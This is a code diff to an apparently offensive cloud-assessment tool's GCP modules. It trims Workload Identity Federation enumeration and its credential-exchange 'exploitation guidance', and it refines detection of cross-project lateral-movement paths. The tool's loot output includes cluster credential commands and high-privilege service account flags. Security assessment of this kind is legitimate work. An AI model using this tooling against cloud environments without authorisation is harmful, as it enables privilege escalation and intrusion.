IsHighPrivilege bool `json:"isHighPrivilege"`
BindingType string `json:"bindingType"` // "workloadIdentityUser" or "other"
ProjectID string `json:"projectId"`
ClusterName string `json:"clusterName"`
ClusterLocation string `json:"clusterLocation"`
WorkloadPool string `json:"workloadPool"`
KubernetesNS string `json:"kubernetesNamespace"`
KubernetesSA string `json:"kubernetesServiceAccount"`
GCPServiceAccount string `json:"gcpServiceAccount"`
GCPSARoles []string `json:"gcpServiceAccountRoles"`
IsHighPrivilege bool `json:"isHighPrivilege"`
BindingType string `json:"bindingType"` // "workloadIdentityUser" or "other"
}
// ClusterWorkloadIdentity represents a cluster's workload identity configuration
@@ -63,24 +65,20 @@ type ClusterWorkloadIdentity struct {
}
// ------------------------------
// Module Struct with embedded BaseGCPModule
// Module Struct
// ------------------------------
type WorkloadIdentityModule struct {
gcpinternal.BaseGCPModule
// Module-specific fields (GKE Workload Identity) - per-project for hierarchical output
ProjectClusters map[string][]ClusterWorkloadIdentity // projectID -> clusters
ProjectBindings map[string][]WorkloadIdentityBinding // projectID -> bindings
ProjectPools map[string][]workloadidentityservice.WorkloadIdentityPool // projectID -> pools
ProjectProviders map[string][]workloadidentityservice.WorkloadIdentityProvider // projectID -> providers
ProjectFederatedBindings map[string][]workloadidentityservice.FederatedIdentityBinding // projectID -> federated bindings
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper cache for attack path analysis
mu sync.Mutex
ProjectClusters map[string][]ClusterWorkloadIdentity // projectID -> clusters
ProjectBindings map[string][]WorkloadIdentityBinding // projectID -> bindings
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
FoxMapperCache *gcpinternal.FoxMapperCache
mu sync.Mutex
}
// ------------------------------
// Output Struct implementing CloudfoxOutput interface
// Output Struct
// ------------------------------
type WorkloadIdentityOutput struct {
Table []internal.TableFile
@@ -94,24 +92,18 @@ func (o WorkloadIdentityOutput) LootFiles() []internal.LootFile { return o.Loo
// Command Entry Point
// ------------------------------
func runGCPWorkloadIdentityCommand(cmd *cobra.Command, args []string) {
// Initialize command context
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
if err != nil {
return // Error already logged
return
}
// Create module instance
module := &WorkloadIdentityModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectClusters: make(map[string][]ClusterWorkloadIdentity),
ProjectBindings: make(map[string][]WorkloadIdentityBinding),
ProjectPools: make(map[string][]workloadidentityservice.WorkloadIdentityPool),
ProjectProviders: make(map[string][]workloadidentityservice.WorkloadIdentityProvider),
ProjectFederatedBindings: make(map[string][]workloadidentityservice.FederatedIdentityBinding),
LootMap: make(map[string]map[string]*internal.LootFile),
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectClusters: make(map[string][]ClusterWorkloadIdentity),
ProjectBindings: make(map[string][]WorkloadIdentityBinding),
LootMap: make(map[string]map[string]*internal.LootFile),
}
// Execute enumeration
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
@@ -119,54 +111,34 @@ func runGCPWorkloadIdentityCommand(cmd *cobra.Command, args []string) {
// Module Execution
// ------------------------------
func (m *WorkloadIdentityModule) Execute(ctx context.Context, logger internal.Logger) {
// Get FoxMapper cache from context
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
logger.InfoM("Using FoxMapper cache for attack path analysis", globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
}
// Run enumeration with concurrency
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME, m.processProject)
// Get all data for stats
allClusters := m.getAllClusters()
allBindings := m.getAllBindings()
allPools := m.getAllPools()
allProviders := m.getAllProviders()
allFederatedBindings := m.getAllFederatedBindings()
// Check if we have any findings
hasGKE := len(allClusters) > 0
hasFederation := len(allPools) > 0
if !hasGKE && !hasFederation {
logger.InfoM("No Workload Identity configurations found", globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
if len(allClusters) == 0 {
logger.InfoM("No GKE clusters found", globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
return
}
// Count GKE clusters with Workload Identity
if hasGKE {
wiEnabled := 0
for _, c := range allClusters {
if c.WorkloadPoolEnabled {
wiEnabled++
}
wiEnabled := 0
for _, c := range allClusters {
if c.WorkloadPoolEnabled {
wiEnabled++
}
logger.SuccessM(fmt.Sprintf("Found %d GKE cluster(s) (%d with Workload Identity), %d K8s->GCP binding(s)",
len(allClusters), wiEnabled, len(allBindings)), globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
}
logger.SuccessM(fmt.Sprintf("Found %d GKE cluster(s) (%d with Workload Identity), %d K8s->GCP binding(s)",
len(allClusters), wiEnabled, len(allBindings)), globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
// Count federation findings
if hasFederation {
logger.SuccessM(fmt.Sprintf("Found %d Workload Identity Pool(s), %d Provider(s), %d federated binding(s)",
len(allPools), len(allProviders), len(allFederatedBindings)), globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
}
// Write output
m.writeOutput(ctx, logger)
}
// getAllClusters returns all clusters from all projects (for statistics)
// getAllClusters returns all clusters from all projects
func (m *WorkloadIdentityModule) getAllClusters() []ClusterWorkloadIdentity {
var all []ClusterWorkloadIdentity
for _, clusters := range m.ProjectClusters {
@@ -175,7 +147,7 @@ func (m *WorkloadIdentityModule) getAllClusters() []ClusterWorkloadIdentity {
return all
}
// getAllBindings returns all bindings from all projects (for statistics)
// getAllBindings returns all bindings from all projects
func (m *WorkloadIdentityModule) getAllBindings() []WorkloadIdentityBinding {
var all []WorkloadIdentityBinding
for _, bindings := range m.ProjectBindings {
@@ -184,56 +156,26 @@ func (m *WorkloadIdentityModule) getAllBindings() []WorkloadIdentityBinding {
return all
}
// getAllPools returns all pools from all projects (for statistics)
func (m *WorkloadIdentityModule) getAllPools() []workloadidentityservice.WorkloadIdentityPool {
var all []workloadidentityservice.WorkloadIdentityPool
for _, pools := range m.ProjectPools {
all = append(all, pools...)
}
return all
}
// getAllProviders returns all providers from all projects (for statistics)
func (m *WorkloadIdentityModule) getAllProviders() []workloadidentityservice.WorkloadIdentityProvider {
var all []workloadidentityservice.WorkloadIdentityProvider
for _, providers := range m.ProjectProviders {
all = append(all, providers...)
}
return all
}
// getAllFederatedBindings returns all federated bindings from all projects (for statistics)
func (m *WorkloadIdentityModule) getAllFederatedBindings() []workloadidentityservice.FederatedIdentityBinding {
var all []workloadidentityservice.FederatedIdentityBinding
for _, bindings := range m.ProjectFederatedBindings {
all = append(all, bindings...)
}
return all
}
// ------------------------------
// Project Processor (called concurrently for each project)
// Project Processor
// ------------------------------
func (m *WorkloadIdentityModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating Workload Identity in project: %s", projectID), globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
logger.InfoM(fmt.Sprintf("Enumerating GKE Workload Identity in project: %s", projectID), globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
}
// ==========================================
// Part 1: GKE Workload Identity
// ==========================================
gkeSvc := gkeservice.New()
clusters, _, err := gkeSvc.Clusters(projectID)
if err != nil {
gcpinternal.HandleGCPError(err, logger, globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME,
fmt.Sprintf("Could not enumerate GKE clusters in project %s", projectID))
return
}
var clusterInfos []ClusterWorkloadIdentity
var bindings []WorkloadIdentityBinding
for _, cluster := range clusters {
// Analyze cluster Workload Identity configuration
cwi := ClusterWorkloadIdentity{
ProjectID: projectID,
ClusterName: cluster.Name,
@@ -241,14 +183,11 @@ func (m *WorkloadIdentityModule) processProject(ctx context.Context, projectID s
TotalNodePools: cluster.NodePoolCount,
}
// Check if Workload Identity is enabled at cluster level
if cluster.WorkloadIdentity != "" {
cwi.WorkloadPoolEnabled = true
cwi.WorkloadPool = cluster.WorkloadIdentity
}
// Node pools with WI is not tracked individually in ClusterInfo
// Just mark all as WI-enabled if cluster has WI
if cwi.WorkloadPoolEnabled {
cwi.NodePoolsWithWI = cwi.TotalNodePools
}
@@ -262,45 +201,9 @@ func (m *WorkloadIdentityModule) processProject(ctx context.Context, projectID s
}
}
// ==========================================
// Part 2: Workload Identity Federation
// ==========================================
wiSvc := workloadidentityservice.New()
// Get Workload Identity Pools
pools, err := wiSvc.ListWorkloadIdentityPools(projectID)
if err != nil {
gcpinternal.HandleGCPError(err, logger, globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME,
fmt.Sprintf("Could not list Workload Identity Pools in project %s", projectID))
}
var providers []workloadidentityservice.WorkloadIdentityProvider
// Get providers for each pool
for _, pool := range pools {
poolProviders, err := wiSvc.ListWorkloadIdentityProviders(projectID, pool.PoolID)
if err != nil {
gcpinternal.HandleGCPError(err, logger, globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME,
fmt.Sprintf("Could not list providers for pool %s", pool.PoolID))
continue
}
providers = append(providers, poolProviders...)
}
// Find federated identity bindings
fedBindings, err := wiSvc.FindFederatedIdentityBindings(projectID, pools)
if err != nil {
gcpinternal.HandleGCPError(err, logger, globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME,
fmt.Sprintf("Could not find federated identity bindings in project %s", projectID))
}
// Thread-safe append
m.mu.Lock()
m.ProjectClusters[projectID] = clusterInfos
m.ProjectBindings[projectID] = bindings
m.ProjectPools[projectID] = pools
m.ProjectProviders[projectID] = providers
m.ProjectFederatedBindings[projectID] = fedBindings
// Initialize loot for this project
if m.LootMap[projectID] == nil {
@@ -311,35 +214,25 @@ func (m *WorkloadIdentityModule) processProject(ctx context.Context, projectID s
}
}
// Generate loot
for _, cwi := range clusterInfos {
m.addClusterToLoot(projectID, cwi)
}
for _, binding := range bindings {
m.addBindingToLoot(projectID, binding)
}
for _, pool := range pools {
m.addPoolToLoot(projectID, pool)
}
for _, provider := range providers {
m.addProviderToLoot(projectID, provider)
}
for _, fedBinding := range fedBindings {
m.addFederatedBindingToLoot(projectID, fedBinding)
}
m.mu.Unlock()
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Found %d GKE cluster(s), %d K8s binding(s), %d pool(s), %d provider(s) in project %s",
len(clusterInfos), len(bindings), len(pools), len(providers), projectID), globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
logger.InfoM(fmt.Sprintf("Found %d GKE cluster(s), %d K8s binding(s) in project %s",
len(clusterInfos), len(bindings), projectID), globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME)
}
}
// findWorkloadIdentityBindings finds all IAM bindings that grant workloadIdentityUser role
// by querying the IAM policy ON each service account (resource-level, not project-level)
func (m *WorkloadIdentityModule) findWorkloadIdentityBindings(ctx context.Context, projectID, clusterName, location, workloadPool string, logger internal.Logger) []WorkloadIdentityBinding {
var bindings []WorkloadIdentityBinding
// Get all service accounts in the project and check their IAM policies (without keys)
iamSvc := IAMService.New()
serviceAccounts, err := iamSvc.ServiceAccountsBasic(projectID)
if err != nil {
@@ -348,21 +241,25 @@ func (m *WorkloadIdentityModule) findWorkloadIdentityBindings(ctx context.Contex
return bindings
}
// For each service account, get its IAM policy and look for workloadIdentityUser bindings
// Get an IAM service client for SA-level policy queries
iamService, err := iam.NewService(ctx)
if err != nil {
gcpinternal.HandleGCPError(err, logger, globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME,
"Could not create IAM service client")
return bindings
}
for _, sa := range serviceAccounts {
// Get IAM policy for this service account
// The workloadIdentityUser role is granted ON the service account
saPolicy, err := m.getServiceAccountPolicy(ctx, sa.Name)
// Get the IAM policy ON the service account resource (not project-level)
saResource := fmt.Sprintf("projects/%s/serviceAccounts/%s", projectID, sa.Email)
policy, err := iamService.Projects.ServiceAccounts.GetIamPolicy(saResource).Context(ctx).Do()
if err != nil {
continue
}
// Look for members with workloadIdentityUser role
for _, binding := range saPolicy {
for _, binding := range policy.Bindings {
if binding.Role == "roles/iam.workloadIdentityUser" {
for _, member := range binding.Members {
// Parse member to extract namespace and KSA
// Format: serviceAccount:[PROJECT_ID].svc.id.goog[NAMESPACE/KSA_NAME]
if strings.HasPrefix(member, "serviceAccount:") && strings.Contains(member, ".svc.id.goog") {
ns, ksa := parseWorkloadIdentityMember(member)
if ns != "" && ksa != "" {
@@ -377,10 +274,7 @@ func (m *WorkloadIdentityModule) findWorkloadIdentityBindings(ctx context.Contex
GCPSARoles: sa.Roles,
BindingType: "workloadIdentityUser",
}
// Check if high privilege
wib.IsHighPrivilege = isHighPrivilegeServiceAccount(sa)
bindings = append(bindings, wib)
}
}
@@ -392,24 +286,11 @@ func (m *WorkloadIdentityModule) findWorkloadIdentityBindings(ctx context.Contex
return bindings
}
// getServiceAccountPolicy gets IAM policy for a service account
func (m *WorkloadIdentityModule) getServiceAccountPolicy(ctx context.Context, saName string) ([]IAMService.PolicyBinding, error) {
iamSvc := IAMService.New()
// Get the service account's IAM policy
// This requires calling the IAM API directly
// For now, we'll return the roles from the project-level bindings
return iamSvc.Policies(extractProjectFromSAName(saName), "project")
}
// parseWorkloadIdentityMember parses a workload identity member string
// Format: serviceAccount:[PROJECT_ID].svc.id.goog[NAMESPACE/KSA_NAME]
func parseWorkloadIdentityMember(member string) (namespace, serviceAccount string) {
// Remove serviceAccount: prefix
member = strings.TrimPrefix(member, "serviceAccount:")
// Find the workload pool and extract namespace/SA
// Format: PROJECT_ID.svc.id.goog[NAMESPACE/KSA_NAME]
bracketStart := strings.Index(member, "[")
bracketEnd := strings.Index(member, "]")
@@ -426,16 +307,6 @@ func parseWorkloadIdentityMember(member string) (namespace, serviceAccount strin
return "", ""
}
// extractProjectFromSAName extracts project ID from service account name
func extractProjectFromSAName(saName string) string {
// Format: projects/PROJECT_ID/serviceAccounts/SA_EMAIL
parts := strings.Split(saName, "/")
if len(parts) >= 2 {
return parts[1]
}
return ""
}
// isHighPrivilegeServiceAccount checks if a service account has high-privilege roles
func isHighPrivilegeServiceAccount(sa IAMService.ServiceAccountInfo) bool {
highPrivRoles := map[string]bool{
@@ -473,14 +344,12 @@ func (m *WorkloadIdentityModule) addClusterToLoot(projectID string, cwi ClusterW
"# GKE CLUSTER: %s\n"+
"# ==========================================\n"+
"# Location: %s\n"+
"# Project: %s\n"+
"# Workload Pool: %s\n"+
"# Node Pools with WI: %d/%d\n"+
"\n# Get cluster credentials:\n"+
"gcloud container clusters get-credentials %s --zone=%s --project=%s\n\n",
cwi.ClusterName,
cwi.Location,
cwi.ProjectID,
cwi.WorkloadPool,
cwi.NodePoolsWithWI,
cwi.TotalNodePools,
@@ -505,15 +374,13 @@ func (m *WorkloadIdentityModule) addBindingToLoot(projectID string, binding Work
"# ------------------------------------------\n"+
"# K8s SA BINDING: %s/%s -> %s%s\n"+
"# ------------------------------------------\n"+
"# Cluster: %s (%s)\n"+
"# Project: %s\n",
"# Cluster: %s (%s)\n",
binding.KubernetesNS,
binding.KubernetesSA,
binding.GCPServiceAccount,
highPriv,
binding.ClusterName,
binding.ClusterLocation,
binding.ProjectID,
)
if binding.IsHighPrivilege && len(binding.GCPSARoles) > 0 {
@@ -533,127 +400,10 @@ func (m *WorkloadIdentityModule) addBindingToLoot(projectID string, binding Work
)
}
func (m *WorkloadIdentityModule) addPoolToLoot(projectID string, pool workloadidentityservice.WorkloadIdentityPool) {
lootFile := m.LootMap[projectID]["workloadidentity-commands"]
if lootFile == nil {
return
}
status := "Active"
if pool.Disabled {
status = "Disabled"
}
lootFile.Contents += fmt.Sprintf(
"# ==========================================\n"+
"# FEDERATION POOL: %s\n"+
"# ==========================================\n"+
"# Project: %s\n"+
"# Display Name: %s\n"+
"# State: %s (%s)\n"+
"# Description: %s\n"+
"\n# Describe pool:\n"+
"gcloud iam workload-identity-pools describe %s --location=global --project=%s\n\n"+
"# List providers:\n"+
"gcloud iam workload-identity-pools providers list --workload-identity-pool=%s --location=global --project=%s\n\n",
pool.PoolID,
pool.ProjectID,
pool.DisplayName,
pool.State, status,
pool.Description,
pool.PoolID, pool.ProjectID,
pool.PoolID, pool.ProjectID,
)
}
func (m *WorkloadIdentityModule) addProviderToLoot(projectID string, provider workloadidentityservice.WorkloadIdentityProvider) {
lootFile := m.LootMap[projectID]["workloadidentity-commands"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# ------------------------------------------\n"+
"# PROVIDER: %s/%s (%s)\n"+
"# ------------------------------------------\n"+
"# Project: %s\n",
provider.PoolID, provider.ProviderID,
provider.ProviderType,
provider.ProjectID,
)
if provider.ProviderType == "AWS" {
lootFile.Contents += fmt.Sprintf(
"# AWS Account: %s\n", provider.AWSAccountID)
} else if provider.ProviderType == "OIDC" {
lootFile.Contents += fmt.Sprintf(
"# OIDC Issuer: %s\n", provider.OIDCIssuerURI)
}
if provider.AttributeCondition != "" {
lootFile.Contents += fmt.Sprintf(
"# Attribute Condition: %s\n", provider.AttributeCondition)
} else {
lootFile.Contents += "# Attribute Condition: NONE\n"
}
lootFile.Contents += fmt.Sprintf(
"\n# Describe provider:\n"+
"gcloud iam workload-identity-pools providers describe %s --workload-identity-pool=%s --location=global --project=%s\n\n",
provider.ProviderID, provider.PoolID, provider.ProjectID,
)
// Add exploitation guidance based on provider type
switch provider.ProviderType {
case "AWS":
lootFile.Contents += fmt.Sprintf(
"# From AWS account %s, exchange credentials:\n"+
"# gcloud iam workload-identity-pools create-cred-config \\\n"+
"# projects/%s/locations/global/workloadIdentityPools/%s/providers/%s \\\n"+
"# --aws --output-file=gcp-creds.json\n\n",
provider.AWSAccountID,
provider.ProjectID, provider.PoolID, provider.ProviderID,
)
case "OIDC":
if strings.Contains(provider.OIDCIssuerURI, "github") {
lootFile.Contents += fmt.Sprintf(
"# From GitHub Actions workflow, add:\n"+
"# permissions:\n"+
"# id-token: write\n"+
"# contents: read\n"+
"# Then use:\n"+
"# gcloud iam workload-identity-pools create-cred-config \\\n"+
"# projects/%s/locations/global/workloadIdentityPools/%s/providers/%s \\\n"+
"# [email protected] \\\n"+
"# --output-file=gcp-creds.json\n\n",
provider.ProjectID, provider.PoolID, provider.ProviderID,
)
}
}
}
func (m *WorkloadIdentityModule) addFederatedBindingToLoot(projectID string, binding workloadidentityservice.FederatedIdentityBinding) {
lootFile := m.LootMap[projectID]["workloadidentity-commands"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# ------------------------------------------\n"+
"# FEDERATED BINDING\n"+
"# ------------------------------------------\n"+
"# Pool: %s\n"+
"# GCP Service Account: %s\n"+
"# External Subject: %s\n"+
"# Project: %s\n\n",
binding.PoolID,
binding.GCPServiceAccount,
binding.ExternalSubject,
binding.ProjectID,
)
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *WorkloadIdentityModule) writeOutput(ctx context.Context, logger internal.Logger) {
// Decide between hierarchical and flat output
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
@@ -661,19 +411,15 @@ func (m *WorkloadIdentityModule) writeOutput(ctx context.Context, logger interna
}
}
// writeHierarchicalOutput writes output to per-project directories
func (m *WorkloadIdentityModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
// Build hierarchical output data
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Build project-level outputs
for projectID := range m.ProjectClusters {
tables := m.buildTablesForProject(projectID)
// Collect loot for this project
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
@@ -686,10 +432,8 @@ func (m *WorkloadIdentityModule) writeHierarchicalOutput(ctx context.Context, lo
outputData.ProjectLevelData[projectID] = WorkloadIdentityOutput{Table: tables, Loot: lootFiles}
}
// Create path builder using the module's hierarchy
pathBuilder := m.BuildPathBuilder()
// Write using hierarchical output
err := internal.HandleHierarchicalOutputSmart(
"gcp",
m.Format,
@@ -704,17 +448,12 @@ func (m *WorkloadIdentityModule) writeHierarchicalOutput(ctx context.Context, lo
}
}
// writeFlatOutput writes all output to a single directory (legacy mode)
func (m *WorkloadIdentityModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allClusters := m.getAllClusters()
allBindings := m.getAllBindings()
allPools := m.getAllPools()
allProviders := m.getAllProviders()
allFederatedBindings := m.getAllFederatedBindings()
tables := m.buildTables(allClusters, allBindings, allPools, allProviders, allFederatedBindings)
tables := m.buildTables(allClusters, allBindings)
// Collect all loot files
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
@@ -729,7 +468,6 @@ func (m *WorkloadIdentityModule) writeFlatOutput(ctx context.Context, logger int
Loot: lootFiles,
}
// Write output using HandleOutputSmart with scope support
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
@@ -757,20 +495,13 @@ func (m *WorkloadIdentityModule) writeFlatOutput(ctx context.Context, logger int
func (m *WorkloadIdentityModule) buildTablesForProject(projectID string) []internal.TableFile {
clusters := m.ProjectClusters[projectID]
bindings := m.ProjectBindings[projectID]
pools := m.ProjectPools[projectID]
providers := m.ProjectProviders[projectID]
federatedBindings := m.ProjectFederatedBindings[projectID]
return m.buildTables(clusters, bindings, pools, providers, federatedBindings)
return m.buildTables(clusters, bindings)
}
// buildTables builds all tables from the given data
func (m *WorkloadIdentityModule) buildTables(
clusters []ClusterWorkloadIdentity,
bindings []WorkloadIdentityBinding,
pools []workloadidentityservice.WorkloadIdentityPool,
providers []workloadidentityservice.WorkloadIdentityProvider,
federatedBindings []workloadidentityservice.FederatedIdentityBinding,
) []internal.TableFile {
var tables []internal.TableFile
@@ -795,7 +526,6 @@ func (m *WorkloadIdentityModule) buildTables(
workloadPool = cwi.WorkloadPool
}
// Format as "X of Y" for clarity
nodePoolsWI := fmt.Sprintf("%d of %d", cwi.NodePoolsWithWI, cwi.TotalNodePools)
clustersBody = append(clustersBody, []string{
@@ -808,7 +538,6 @@ func (m *WorkloadIdentityModule) buildTables(
})
}
// Only add clusters table if there are clusters
if len(clustersBody) > 0 {
tables = append(tables, internal.TableFile{
Name: "workload-identity-clusters",
@@ -835,7 +564,6 @@ func (m *WorkloadIdentityModule) buildTables(
highPriv = "Yes"
}
// Check attack paths for the GCP service account
attackPaths := gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, binding.GCPServiceAccount)
bindingsBody = append(bindingsBody, []string{
@@ -849,7 +577,6 @@ func (m *WorkloadIdentityModule) buildTables(
})
}
// Add bindings table if there are any
if len(bindingsBody) > 0 {
tables = append(tables, internal.TableFile{
Name: "workload-identity-bindings",
@@ -858,114 +585,5 @@ func (m *WorkloadIdentityModule) buildTables(
})
}
// ============================
// Workload Identity Federation tables
// ============================
// Federation Pools table
if len(pools) > 0 {
poolsHeader := []string{
"Project",
"Pool ID",
"Display Name",
"State",
"Disabled",
}
var poolsBody [][]string
for _, pool := range pools {
disabled := "No"
if pool.Disabled {
disabled = "Yes"
}
poolsBody = append(poolsBody, []string{
m.GetProjectName(pool.ProjectID),
pool.PoolID,
pool.DisplayName,
pool.State,
disabled,
})
}
tables = append(tables, internal.TableFile{
Name: "wi-federation-pools",
Header: poolsHeader,
Body: poolsBody,
})
}
// Federation Providers table
if len(providers) > 0 {
providersHeader := []string{
"Project",
"Pool",
"Provider",
"Type",
"OIDC Issuer / AWS Account",
"Access Condition",
}
var providersBody [][]string
for _, p := range providers {
issuerOrAccount := "-"
if p.ProviderType == "AWS" {
issuerOrAccount = p.AWSAccountID
} else if p.ProviderType == "OIDC" {
issuerOrAccount = p.OIDCIssuerURI
}
attrCond := "-"
if p.AttributeCondition != "" {
attrCond = p.AttributeCondition
}
providersBody = append(providersBody, []string{
m.GetProjectName(p.ProjectID),
p.PoolID,
p.ProviderID,
p.ProviderType,
issuerOrAccount,
attrCond,
})
}
tables = append(tables, internal.TableFile{
Name: "wi-federation-providers",
Header: providersHeader,
Body: providersBody,
})
}
// Federated bindings table
if len(federatedBindings) > 0 {
fedBindingsHeader := []string{
"Project",
"Pool",
"GCP Service Account",
"External Identity",
"SA Attack Paths",
}
var fedBindingsBody [][]string
for _, fb := range federatedBindings {
// Check attack paths for the GCP service account
attackPaths := gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, fb.GCPServiceAccount)
fedBindingsBody = append(fedBindingsBody, []string{
m.GetProjectName(fb.ProjectID),
fb.PoolID,
fb.GCPServiceAccount,
fb.ExternalSubject,
attackPaths,
})
}
tables = append(tables, internal.TableFile{
Name: "wi-federated-bindings",
Header: fedBindingsHeader,
Body: fedBindingsBody,
})
}
return tables
}
@@ -116,8 +116,9 @@ type CrossProjectPubSubExport struct {
RiskReasons []string `json:"riskReasons"`
}
// AnalyzeCrossProjectAccess analyzes cross-project IAM bindings for a set of projects
func (s *CrossProjectService) AnalyzeCrossProjectAccess(projectIDs []string) ([]CrossProjectBinding, error) {
// AnalyzeCrossProjectAccess analyzes cross-project IAM bindings for a set of projects.
// If orgCache is provided, it resolves project numbers to IDs for accurate detection.
func (s *CrossProjectService) AnalyzeCrossProjectAccess(projectIDs []string, orgCache *gcpinternal.OrgCache) ([]CrossProjectBinding, error) {
ctx := context.Background()
crmService, err := s.getResourceManagerService(ctx)
@@ -142,7 +143,7 @@ func (s *CrossProjectService) AnalyzeCrossProjectAccess(projectIDs []string) ([]
for _, binding := range policy.Bindings {
for _, member := range binding.Members {
sourceProject := extractProjectFromMember(member)
sourceProject := extractProjectFromMember(member, orgCache)
// Check if this is cross-project access
if sourceProject != "" && sourceProject != targetProject {
@@ -247,8 +248,9 @@ func (s *CrossProjectService) GetCrossProjectServiceAccounts(projectIDs []string
return crossProjectSAs, nil
}
// FindLateralMovementPaths identifies lateral movement paths between projects
func (s *CrossProjectService) FindLateralMovementPaths(projectIDs []string) ([]LateralMovementPath, error) {
// FindLateralMovementPaths identifies lateral movement paths between projects.
// If orgCache is provided, it resolves project numbers to IDs for accurate detection.
func (s *CrossProjectService) FindLateralMovementPaths(projectIDs []string, orgCache *gcpinternal.OrgCache) ([]LateralMovementPath, error) {
ctx := context.Background()
crmService, err := s.getResourceManagerService(ctx)
@@ -274,7 +276,7 @@ func (s *CrossProjectService) FindLateralMovementPaths(projectIDs []string) ([]L
// Find principals from source project that have access to target
for _, binding := range policy.Bindings {
for _, member := range binding.Members {
memberProject := extractProjectFromMember(member)
memberProject := extractProjectFromMember(member, orgCache)
if memberProject == sourceProject {
path := LateralMovementPath{
SourceProject: sourceProject,
@@ -445,34 +447,83 @@ func (s *CrossProjectService) generateLateralMovementCommands(path LateralMoveme
return commands
}
// extractProjectFromMember extracts the project ID from a member string
func extractProjectFromMember(member string) string {
// serviceAccount:[email protected]
if strings.HasPrefix(member, "serviceAccount:") {
email := strings.TrimPrefix(member, "serviceAccount:")
// Format: [email protected]
// or: [email protected]
if strings.Contains(email, ".iam.gserviceaccount.com") {
parts := strings.Split(email, "@")
if len(parts) == 2 {
domain := parts[1]
projectPart := strings.TrimSuffix(domain, ".iam.gserviceaccount.com")
return projectPart
}
}
// App Engine default service accounts
if strings.Contains(email, "@appspot.gserviceaccount.com") {
parts := strings.Split(email, "@")
if len(parts) == 2 {
return strings.TrimSuffix(parts[1], ".appspot.gserviceaccount.com")
}
}
// Compute Engine default service accounts: [email protected]
if strings.Contains(email, "[email protected]") {
// Can't extract project ID from project number easily
return ""
}
// extractProjectFromMember extracts the project ID from a member string.
// If orgCache is provided, it resolves project numbers to IDs.
func extractProjectFromMember(member string, orgCache *gcpinternal.OrgCache) string {
if !strings.HasPrefix(member, "serviceAccount:") {
return ""
}
email := strings.TrimPrefix(member, "serviceAccount:")
parts := strings.Split(email, "@")
if len(parts) != 2 {
return ""
}
prefix := parts[0]
domain := parts[1]
// Helper to resolve a project number to ID via OrgCache
resolveNumber := func(number string) string {
if orgCache != nil && orgCache.IsPopulated() {
if resolved := orgCache.GetProjectIDByNumber(number); resolved != "" {
return resolved
}
}
return "" // Can't resolve without cache
}
// Pattern: [email protected] (regular SAs)
// But NOT gcp-sa-* domains (those are Google service agents with project numbers)
if strings.HasSuffix(domain, ".iam.gserviceaccount.com") && !strings.HasPrefix(domain, "gcp-sa-") {
projectPart := strings.TrimSuffix(domain, ".iam.gserviceaccount.com")
return projectPart
}
// Pattern: service-PROJECT_NUMBER@gcp-sa-*.iam.gserviceaccount.com
if strings.HasPrefix(domain, "gcp-sa-") && strings.HasSuffix(domain, ".iam.gserviceaccount.com") {
number := prefix
if strings.HasPrefix(prefix, "service-") {
number = strings.TrimPrefix(prefix, "service-")
}
if resolved := resolveNumber(number); resolved != "" {
return resolved
}
return ""
}
// Pattern: [email protected]
if domain == "appspot.gserviceaccount.com" {
return prefix // This is already a project ID
}
// Pattern: [email protected]
if strings.HasSuffix(domain, "developer.gserviceaccount.com") {
if idx := strings.Index(prefix, "-compute"); idx > 0 {
number := prefix[:idx]
if resolved := resolveNumber(number); resolved != "" {
return resolved
}
}
return ""
}
// Pattern: [email protected]
if domain == "cloudservices.gserviceaccount.com" {
if resolved := resolveNumber(prefix); resolved != "" {
return resolved
}
return ""
}
// Pattern: [email protected]
if domain == "cloudbuild.gserviceaccount.com" {
if resolved := resolveNumber(prefix); resolved != "" {
return resolved
}
return ""
}
return ""
}
+157 -61
View File
@@ -216,6 +216,8 @@ type LoadBalancerInfo struct {
Region string
